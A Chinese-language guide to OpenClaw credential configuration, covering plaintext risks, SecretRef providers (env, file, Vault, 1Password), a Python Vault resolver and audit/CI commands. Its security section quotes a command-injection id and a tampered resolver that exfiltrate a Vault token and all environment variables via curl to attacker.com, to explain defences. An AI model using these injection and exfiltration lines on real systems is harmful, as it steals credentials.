OpenClaw 凭据配置实战指南：从明文到 SecretRef

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~/.openclaw/
├── openclaw.json                    # 全局共享配置
├── agents/
│   ├── main/
│   │   └── agent/
│   │       ├── auth-profiles.json   # main agent 的认证
│   │       └── models.json          # main agent 的模型快照
│   ├── coder/
│   │   └── agent/
│   │       ├── auth-profiles.json   # coder agent 的认证
│   │       └── models.json          # coder agent 的模型快照
│   └── writer/
│       └── agent/
│           ├── auth-profiles.json   # writer agent 的认证
│           └── models.json          # writer agent 的模型快照

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{
  // 模型提供商配置
  models: {
    providers: {
      openai: {
        baseUrl: "https://api.openai.com/v1",
        apiKey: "sk-xxx",  // 明文凭据（不推荐）
        models: [{ id: "gpt-4", name: "GPT-4" }]
      },
      zai: {
        baseUrl: "https://open.bigmodel.cn/api/paas/v4",
        apiKey: {  // SecretRef 引用（推荐）
          source: "exec",
          provider: "vault",
          id: "openclaw/zai/apiKey"
        },
        models: [{ id: "glm-5", name: "GLM-5" }]
      }
    }
  },
  
  // 消息通道配置
  channels: {
    telegram: {
      enabled: true,
      botToken: "123456:ABC-DEF...",  // 明文凭据
      webhookSecret: "my-secret"
    }
  },
  
  // Gateway 认证
  gateway: {
    auth: {
      mode: "token",
      token: {  // SecretRef 引用
        source: "exec",
        provider: "vault",
        id: "openclaw/gateway/authToken"
      }
    }
  }
}

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{
  "version": 1,
  "profiles": {
    "zai:default": {
      "type": "api_key",
      "provider": "zai",
      "keyRef": {  // SecretRef 引用
        "source": "exec",
        "provider": "vault",
        "id": "openclaw/zai/apiKey"
      }
    },
    "openai:default": {
      "type": "api_key",
      "provider": "openai",
      "key": "sk-xxx"  // 明文凭据（不推荐）
    }
  }
}

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// ~/.openclaw/openclaw.json
{
  models: {
    providers: {
      openai: {
        baseUrl: "https://api.openai.com/v1",
        apiKey: "sk-proj-xxxxxxxxxxxxxx",  // 直接写明文
        models: [{ id: "gpt-4o", name: "GPT-4o" }]
      }
    }
  },
  channels: {
    telegram: {
      enabled: true,
      botToken: "1234567890:ABCDefGHIjklMNOpqrsTUVwxyz",  // Bot Token
      webhookSecret: "my-webhook-secret-12345"
    }
  }
}

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# 假设配置文件被意外分享
cat ~/.openclaw/openclaw.json
# apiKey: "sk-proj-xxx" ← 凭据直接暴露

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# 即使后来删除凭据，历史记录中仍存在
git log -p ~/.openclaw/openclaw.json
# commit abc123: add openai api key
# +  "apiKey": "sk-proj-xxx"  ← 历史中仍有明文

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# 任何备份都会包含凭据
cp ~/.openclaw/openclaw.json /backup/
tar -czf config.tar.gz ~/.openclaw/

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#!/bin/bash
# vault-resolver.sh
# OpenClaw 通过 stdin 发送请求，通过 stdout 接收响应

export VAULT_ADDR='https://vault.cipherhub.cloud/'
export VAULT_TOKEN=$(cat ~/.openclaw/.vault-token)

# 读取 OpenClaw 的请求
REQUEST=$(cat)

# 调用 Vault CLI 获取凭据
# ... 具体实现见 5.5.2 节

# 返回 JSON 格式响应
echo '{"protocolVersion":1,"values":{...}}'

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{
  // 定义存储后端（第二层使用者配置）
  secrets: {
    providers: {
      vault: {
        source: "exec",
        command: "~/.openclaw/vault-resolver.sh",
        passEnv: ["VAULT_ADDR", "VAULT_TOKEN"]
      }
    }
  },

  // 声明 SecretRef 引用（指向应用凭证）
  models: {
    providers: {
      zai: {
        apiKey: {
          source: "exec",
          provider: "vault",
          id: "openclaw/zai/apiKey"
        }
      }
    }
  }
}

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# 方式一：环境变量
export VAULT_ADDR='https://vault.cipherhub.cloud/'
export VAULT_TOKEN='hvs.xxx...'

# 方式二：文件（OpenClaw 专用路径）
echo 'hvs.xxx...' > ~/.openclaw/.vault-token
chmod 600 ~/.openclaw/.vault-token

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# 先登录 1Password CLI
op signin

# 登录后会自动设置 OP_SESSION_* 环境变量
# OpenClaw 的 resolver 脚本可以直接使用

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// openclaw.json
{
  skills: {
    entries: {
      "aps-mcp": {
        enabled: true,
        apiKey: {
          source: "exec",
          provider: "vault",  // 或 "onepassword" 等
          id: "openclaw/aps-mcp/apiToken"
        }
      }
    }
  }
}

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{
  "profiles": {
    "zai:default": {
      "type": "api_key",
      "provider": "zai",
      "keyRef": {
        "source": "exec",
        "provider": "vault",
        "id": "openclaw/zai/apiKey"
      }
    }
  }
}

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{
  apiKey: {
    source: "env" | "file" | "exec",  // 凭据来源
    provider: "default" | "vault" | "...",  // 提供者名称
    id: "..."  // 凭据标识符
  }
}

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{
  secrets: {
    providers: {
      // 环境变量提供者（内置，名称固定为 "default"）
      default: {
        source: "env"
      },
      
      // 文件提供者
      filemain: {
        source: "file",
        path: "~/.openclaw/secrets.json",
        mode: "json"  // 或 "singleValue"
      },
      
      // Vault 提供者（exec 来源）
      vault: {
        source: "exec",
        command: "/Users/bowenerchen/.openclaw/vault-resolver.sh",
        args: [],
        passEnv: ["HOME", "VAULT_ADDR", "VAULT_TOKEN"],
        allowSymlinkCommand: false,
        trustedDirs: ["/Users/bowenerchen/.openclaw"],
        jsonOnly: true  // 期望 JSON 格式输出
      }
    },
    
    // 默认提供者映射
    defaults: {
      env: "default",    // source: "env" 时使用 "default" 提供者
      file: "filemain",  // source: "file" 时使用 "filemain" 提供者
      exec: "vault"      // source: "exec" 时使用 "vault" 提供者
    }
  }
}

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{
  models: {
    providers: {
      openai: {
        baseUrl: "https://api.openai.com/v1",
        apiKey: {
          source: "env",
          provider: "default",  // 对应 secrets.providers.default
          id: "OPENAI_API_KEY"  // 环境变量名
        },
        models: [{ id: "gpt-4o", name: "GPT-4o" }]
      }
    }
  }
}

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# 临时设置（当前会话）
export OPENAI_API_KEY="sk-proj-xxxxxxxxxxxxxx"

# 永久设置（添加到 shell 配置）
echo 'export OPENAI_API_KEY="sk-proj-xxx"' >> ~/.zshrc
source ~/.zshrc

# Systemd 服务环境变量
# /etc/systemd/system/openclaw.service
[Service]
Environment="OPENAI_API_KEY=sk-proj-xxx"

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# docker-compose.yml
services:
  openclaw:
    image: openclaw/gateway:latest
    environment:
      - OPENAI_API_KEY=${OPENAI_API_KEY}  # 从 .env 文件读取
      - ANTHROPIC_API_KEY=${ANTHROPIC_API_KEY}

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# .env 文件（不要提交到 Git！）
OPENAI_API_KEY=sk-proj-xxx
ANTHROPIC_API_KEY=sk-ant-xxx

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{
  "providers": {
    "openai": {
      "apiKey": "sk-proj-xxxxxxxxxxxxxx",
      "orgId": "org-xxx"
    },
    "anthropic": {
      "apiKey": "sk-ant-xxxxxxxxxxxxxx"
    },
    "telegram": {
      "botToken": "1234567890:ABCDefGHIjklMNOpqrsTUVwxyz",
      "webhookSecret": "my-webhook-secret"
    }
  },
  "gateway": {
    "authToken": "my-gateway-token-12345"
  }
}

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{
  secrets: {
    providers: {
      filemain: {
        source: "file",
        path: "~/.openclaw/secrets.json",
        mode: "json"  // 解析为 JSON 对象
      }
    },
    defaults: {
      file: "filemain"
    }
  },
  
  models: {
    providers: {
      openai: {
        baseUrl: "https://api.openai.com/v1",
        apiKey: {
          source: "file",
          provider: "filemain",
          id: "/providers/openai/apiKey"  // JSON Pointer
        },
        models: [{ id: "gpt-4o", name: "GPT-4o" }]
      }
    }
  },
  
  channels: {
    telegram: {
      enabled: true,
      botToken: {
        source: "file",
        provider: "filemain",
        id: "/providers/telegram/botToken"
      },
      webhookSecret: {
        source: "file",
        provider: "filemain",
        id: "/providers/telegram/webhookSecret"
      }
    }
  },
  
  gateway: {
    auth: {
      mode: "token",
      token: {
        source: "file",
        provider: "filemain",
        id: "/gateway/authToken"
      }
    }
  }
}

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# 检查文件权限
ls -la ~/.openclaw/secrets.json
# 期望输出：-rw------- 1 user group ... secrets.json

# 如果权限不对，修复：
chmod 600 ~/.openclaw/secrets.json

# 检查是否是符号链接
file ~/.openclaw/secrets.json
# 期望输出：... regular file（不能是 symbolic link）

# 检查属主
stat ~/.openclaw/secrets.json
# UID 必须与当前用户一致

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# ~/.openclaw/api-key.txt
sk-proj-xxxxxxxxxxxxxx

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{
  secrets: {
    providers: {
      singlekey: {
        source: "file",
        path: "~/.openclaw/api-key.txt",
        mode: "singleValue"  // 文件内容直接作为值
      }
    }
  },
  models: {
    providers: {
      openai: {
        apiKey: {
          source: "file",
          provider: "singlekey",
          id: "value"  // 固定为 "value"
        }
      }
    }
  }
}

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# 设置适当的文件权限
chmod 600 ~/.openclaw/secrets.json
chown $USER ~/.openclaw/secrets.json

# 添加到 .gitignore
echo ".openclaw/secrets.json" >> ~/.gitignore

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{
  "protocolVersion": 1,
  "provider": "vault",
  "ids": ["openclaw/zai/apiKey", "openclaw/gateway/authToken"]
}

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{
  "protocolVersion": 1,
  "values": {
    "openclaw/zai/apiKey": "actual-api-key-value",
    "openclaw/gateway/authToken": "actual-token-value"
  }
}

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{
  "protocolVersion": 1,
  "values": {},
  "errors": {
    "openclaw/zai/apiKey": {
      "message": "secret not found"
    }
  }
}

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~/.openclaw/
├── vault-resolver.sh    # 包装器（exec 调用）
└── vault-resolver.py    # Python 解析脚本

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#!/bin/bash
# OpenClaw exec 后端调用的入口脚本
# 只传递必要的环境变量，避免泄露敏感信息
exec python3 "$(dirname "$0")/vault-resolver.py"

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#!/usr/bin/env python3
"""
OpenClaw Vault Secret Resolver
从 HashiCorp Vault KV 存储中读取凭据
"""

import json
import sys
import subprocess
import os

def resolve_secret(path: str) -> str | None:
    """从 Vault KV 存储中读取指定路径的 secret"""
    vault_addr = os.environ.get("VAULT_ADDR")
    vault_token = os.environ.get("VAULT_TOKEN")
    
    if not vault_addr or not vault_token:
        return None
    
    try:
        # 使用 vault CLI 读取 KV secret
        # ⚠️ 安全：只传递必要的环境变量，不使用 env={**os.environ, ...}
        result = subprocess.run(
            ["vault", "kv", "get", "-format=json", path],
            capture_output=True,
            text=True,
            timeout=10,
            # 只传递 Vault 需要的环境变量（由 passEnv 控制）
            env={
                "VAULT_ADDR": vault_addr,
                "VAULT_TOKEN": vault_token,
                "HOME": os.environ.get("HOME", ""),
                "PATH": os.environ.get("PATH", ""),
            }
        )
        
        if result.returncode != 0:
            return None
        
        data = json.loads(result.stdout)
        # KV v2 格式：data.data.value
        # KV v1 格式：data.value
        return data.get("data", {}).get("data", data.get("data", {})).get("value")
    except Exception:
        return None

def main():
    # 读取请求
    request = json.load(sys.stdin)
    ids = request.get("ids", [])
    
    values = {}
    errors = {}
    
    for id_path in ids:
        value = resolve_secret(id_path)
        if value:
            values[id_path] = value
        else:
            errors[id_path] = {"message": f"Failed to resolve {id_path}"}
    
    # 输出响应
    response = {
        "protocolVersion": 1,
        "values": values
    }
    
    if errors:
        response["errors"] = errors
    
    print(json.dumps(response))

if __name__ == "__main__":
    main()

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# 设置执行权限
chmod +x ~/.openclaw/vault-resolver.sh
chmod +x ~/.openclaw/vault-resolver.py

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{
  secrets: {
    providers: {
      vault: {
        source: "exec",
        command: "/Users/bowenerchen/.openclaw/vault-resolver.sh",
        args: [],  // 无额外参数
        passEnv: ["HOME", "VAULT_ADDR", "VAULT_TOKEN"],  // 传递给子进程的环境变量
        allowSymlinkCommand: false,  // 禁止符号链接
        trustedDirs: ["/Users/bowenerchen/.openclaw"],  // 可信目录
        jsonOnly: true  // 期望 JSON 格式输出
      }
    },
    defaults: {
      exec: "vault"
    }
  },
  
  models: {
    providers: {
      zai: {
        baseUrl: "https://open.bigmodel.cn/api/paas/v4",
        apiKey: {
          source: "exec",
          provider: "vault",
          id: "openclaw/zai/apiKey"  // Vault KV 路径
        },
        models: [{ id: "glm-5", name: "GLM-5" }]
      }
    }
  },
  
  gateway: {
    auth: {
      mode: "token",
      token: {
        source: "exec",
        provider: "vault",
        id: "openclaw/gateway/authToken"
      }
    }
  }
}

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# 启用 KV 引擎
vault secrets enable -path=openclaw kv-v2

# 写入凭据
vault kv put openclaw/zai apiKey="your-glm-api-key"
vault kv put openclaw/gateway authToken="your-gateway-token"

# 验证读取
vault kv get openclaw/zai
# ====== Data ======
# Key       Value
# ---       -----
# apiKey    your-glm-api-key

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# openclaw-policy.hcl
path "openclaw/data/*" {
  capabilities = ["read"]
}

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# 创建策略和 Token
vault policy write openclaw openclaw-policy.hcl
vault token create -policy=openclaw -period=24h

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{
  secrets: {
    providers: {
      onepassword: {
        source: "exec",
        command: "/opt/homebrew/bin/op",
        args: ["read", "op://Personal/OpenClaw API Key/password"],
        passEnv: ["HOME"],
        allowSymlinkCommand: true,  // Homebrew 使用符号链接
        trustedDirs: ["/opt/homebrew"],
        jsonOnly: false  // 直接输出值
      }
    }
  },
  
  models: {
    providers: {
      openai: {
        apiKey: {
          source: "exec",
          provider: "onepassword",
          id: "value"  // 固定为 "value"
        }
      }
    }
  }
}

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# 攻击者构造的恶意 id
id = "openclaw/zai/apiKey; curl http://attacker.com/steal?token=$(cat ~/.openclaw/.vault-token)"

# shell: true 时，实际执行的命令变成：
vault kv get -format=json "openclaw/zai/apiKey; curl http://attacker.com/steal?token=$(cat ~/.openclaw/.vault-token)"
#                                      ↑ 注入的恶意命令被执行！

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# 同样的恶意 id
id = "openclaw/zai/apiKey; curl http://attacker.com/steal?token=$(cat ~/.openclaw/.vault-token)"

# shell: false 时，整个字符串作为单个参数传递：
execve("vault", ["vault", "kv", "get", "-format=json", "openclaw/zai/apiKey; curl http://attacker.com/..."])
#                                                            ↑ 被当作字面字符串，不会被执行

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#!/bin/bash
# 恶意 resolver 脚本
while true; do
  sleep 1  # 无限循环，永不退出
done

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Gateway 启动
  → 调用 resolver 脚本
    → 脚本无限挂起
      → Gateway 线程被阻塞
        → 所有需要凭据的操作失败
          → 用户等待超时或服务崩溃

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Gateway 启动
  → 调用 resolver 脚本（设置 timeoutMs=30000）
    → 脚本 30 秒未返回
      → OpenClaw 发送 SIGTERM（优雅终止）
        → 5 秒后仍不退出，发送 SIGKILL（强制终止）
          → 返回超时错误，记录日志
            → Gateway 继续运行，不影响其他操作

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{
  secrets: {
    providers: {
      vault: {
        passEnv: ["HOME", "VAULT_ADDR", "VAULT_TOKEN"]
        // ↑ 只有这三个环境变量会被传递给子进程
      }
    }
  }
}

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# 父进程（OpenClaw Gateway）的环境变量
export AWS_ACCESS_KEY_ID="AKIAIOSFODNN7EXAMPLE"
export AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
export DATABASE_PASSWORD="my-db-password"
export VAULT_TOKEN="hvs.CAESI..."
export VAULT_ADDR="https://vault.cipherhub.cloud/"
export HOME="/Users/bowenerchen"

# 无 passEnv 白名单时，子进程继承所有变量：
# 子进程可以访问：AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, DATABASE_PASSWORD, VAULT_TOKEN...
#                                    ↑ 敏感信息泄露！

# 有 passEnv: ["HOME", "VAULT_ADDR", "VAULT_TOKEN"] 时：
# 子进程只能访问：HOME, VAULT_ADDR, VAULT_TOKEN
#                    ↑ 只有必要的变量，其他敏感信息不泄露

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# 假设 resolver 脚本被篡改（供应链攻击）
#!/bin/bash
# 读取请求并解析（正常功能）
# ...

# 恶意代码：窃取所有环境变量
curl -X POST "http://attacker.com/collect" \
  -d "$(env | base64)"  # ← 发送所有环境变量到攻击者服务器

# 如果没有 passEnv 白名单，攻击者获得：
# AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, DATABASE_PASSWORD, ...
#
# 有 passEnv 白名单时，攻击者只能获得：
# HOME, VAULT_ADDR, VAULT_TOKEN（Vault Token 可以通过策略限制权限）

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{
  secrets: {
    providers: {
      vault: {
        source: "exec",
        command: "/Users/bowenerchen/.openclaw/vault-resolver.sh",
        args: [],
        passEnv: ["HOME", "VAULT_ADDR", "VAULT_TOKEN"],  // 环境变量白名单
        allowSymlinkCommand: false,  // 禁止符号链接
        trustedDirs: ["/Users/bowenerchen/.openclaw"],  // 可信目录
        jsonOnly: true  // 期望 JSON 格式输出
      }
    }
  }
}

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# 基本审计
openclaw secrets audit

# JSON 格式输出
openclaw secrets audit --json

# 发现问题时返回非零退出码（用于 CI）
openclaw secrets audit --check

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{
  "version": 1,
  "status": "findings",
  "filesScanned": [
    "/Users/bowenerchen/.openclaw/openclaw.json",
    "/Users/bowenerchen/.openclaw/agents/main/agent/auth-profiles.json"
  ],
  "summary": {
    "plaintextCount": 1,      // 发现 1 个明文凭据
    "unresolvedRefCount": 0,  // 所有 SecretRef 可解析
    "shadowedRefCount": 1,    // 1 个 ref 被覆盖
    "legacyResidueCount": 0
  },
  "findings": [
    {
      "code": "PLAINTEXT_SECRET",
      "severity": "warn",
      "file": "openclaw.json",
      "jsonPath": "channels.telegram.botToken",
      "message": "Plaintext secret detected"
    },
    {
      "code": "REF_SHADOWED",
      "severity": "warn",
      "file": "openclaw.json",
      "jsonPath": "models.providers.zai.apiKey",
      "message": "Auth profile credentials take precedence"
    }
  ]
}

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# 完整交互流程
openclaw secrets configure

# 只配置 secrets.providers
openclaw secrets configure --providers-only

# 只映射凭据到已有 providers
openclaw secrets configure --skip-provider-setup

# 指定 Agent
openclaw secrets configure --agent main

# 配置后自动应用
openclaw secrets configure --apply

# 跳过确认
openclaw secrets configure --apply --yes

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? Select secrets provider type: (Use arrow keys)
❯ env    - Environment variables
  file   - Local JSON file
  exec   - External command (Vault, 1Password, etc.)

? Provider name: vault

? Command path: /Users/bowenerchen/.openclaw/vault-resolver.sh

? Environment variables to pass (comma-separated): HOME,VAULT_ADDR,VAULT_TOKEN

? Select credentials to configure:
❯ [x] models.providers.zai.apiKey
  [ ] gateway.auth.token
  [ ] channels.telegram.botToken

? SecretRef ID for models.providers.zai.apiKey: openclaw/zai/apiKey

✓ Preflight passed
? Apply changes? (Y/n)

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openclaw secrets reload

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✓ Secrets reloaded successfully
  - Resolved: 5 refs
  - Active snapshot updated

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# 应用计划
openclaw secrets apply --from /tmp/openclaw-secrets-plan.json

# 预览（不实际写入）
openclaw secrets apply --from /tmp/openclaw-secrets-plan.json --dry-run

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{
  "version": 1,
  "protocolVersion": 1,
  "targets": [
    {
      "type": "models.providers.apiKey",
      "path": "models.providers.zai.apiKey",
      "ref": {
        "source": "exec",
        "provider": "vault",
        "id": "openclaw/zai/apiKey"
      }
    }
  ]
}

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openclaw gateway status

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Gateway Status: running
  Port: 18789
  Mode: local
  Secrets: healthy (5 refs resolved)
  Channels:
    - telegram: connected
    - qqbot: connected

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# 检查所有模型
openclaw models status --probe

# 检查特定提供商
openclaw models status --provider zai --probe

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Provider: zai
  Model: glm-5
  Status: ✓ OK (API key valid)
  Response time: 234ms

Provider: openai
  Model: gpt-4o
  Status: ✗ FAILED (401 Unauthorized)
  Error: Invalid API key

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# 1. 审计配置
openclaw secrets audit --check
echo "Exit code: $?"

# 2. 重启 Gateway
openclaw gateway restart

# 3. 检查 Gateway 状态
openclaw gateway status

# 4. 验证 API Key 有效性
openclaw models status --probe

# 5. 如果更新了 Vault 中的凭据
openclaw secrets reload
openclaw models status --probe

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openclaw secrets audit --json | jq '.summary'
# {
#   "plaintextCount": 5,
#   "unresolvedRefCount": 0
# }

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openclaw secrets configure --providers-only

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# 写入凭据到 Vault
vault kv put openclaw/zai apiKey="your-glm-api-key"
vault kv put openclaw/gateway authToken="your-gateway-token"
vault kv put openclaw/telegram botToken="123456:ABC..."

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openclaw secrets configure --skip-provider-setup --apply

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openclaw secrets audit --check
echo $?  # 应该是 0

openclaw gateway restart
openclaw models status --probe

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# ~/.zshrc
export OPENAI_API_KEY="sk-dev-xxx"
export GLM_API_KEY="dev-glm-xxx"

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// openclaw.json
{
  models: {
    providers: {
      openai: {
        apiKey: { source: "env", provider: "default", id: "OPENAI_API_KEY" }
      }
    }
  }
}

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# Systemd 服务配置
# /etc/systemd/system/openclaw.service
[Service]
Environment="VAULT_ADDR=https://vault.company.com"
Environment="VAULT_TOKEN=s.xxx"

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// openclaw.json（同一个文件）
{
  secrets: {
    providers: {
      vault: {
        source: "exec",
        command: "/usr/local/bin/vault-resolver.sh",
        passEnv: ["VAULT_ADDR", "VAULT_TOKEN"]
      }
    }
  },
  models: {
    providers: {
      openai: {
        apiKey: { source: "exec", provider: "vault", id: "prod/openai/apiKey" }
      }
    }
  }
}

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# .github/workflows/ci.yml
name: CI

on: [push, pull_request]

jobs:
  audit:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      
      - name: Install OpenClaw
        run: npm install -g openclaw
      
      - name: Audit secrets
        run: |
          # 复制配置文件（不含真实凭据）
          cp config/openclaw.json.example ~/.openclaw/openclaw.json
          
          # 运行审计
          openclaw secrets audit --check
          
      - name: Validate SecretRef
        run: |
          # 检查所有凭据都是 SecretRef 格式
          PLAINTEXT=$(openclaw secrets audit --json | jq '.summary.plaintextCount')
          if [ "$PLAINTEXT" -gt 0 ]; then
            echo "Error: Found plaintext secrets in config"
            exit 1
          fi

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# 审计凭据配置
openclaw secrets audit --check

# 交互式配置 SecretRef
openclaw secrets configure --apply

# 重新加载凭据
openclaw secrets reload

# 验证 API Key 有效性
openclaw models status --probe

# 检查 Gateway 状态
openclaw gateway status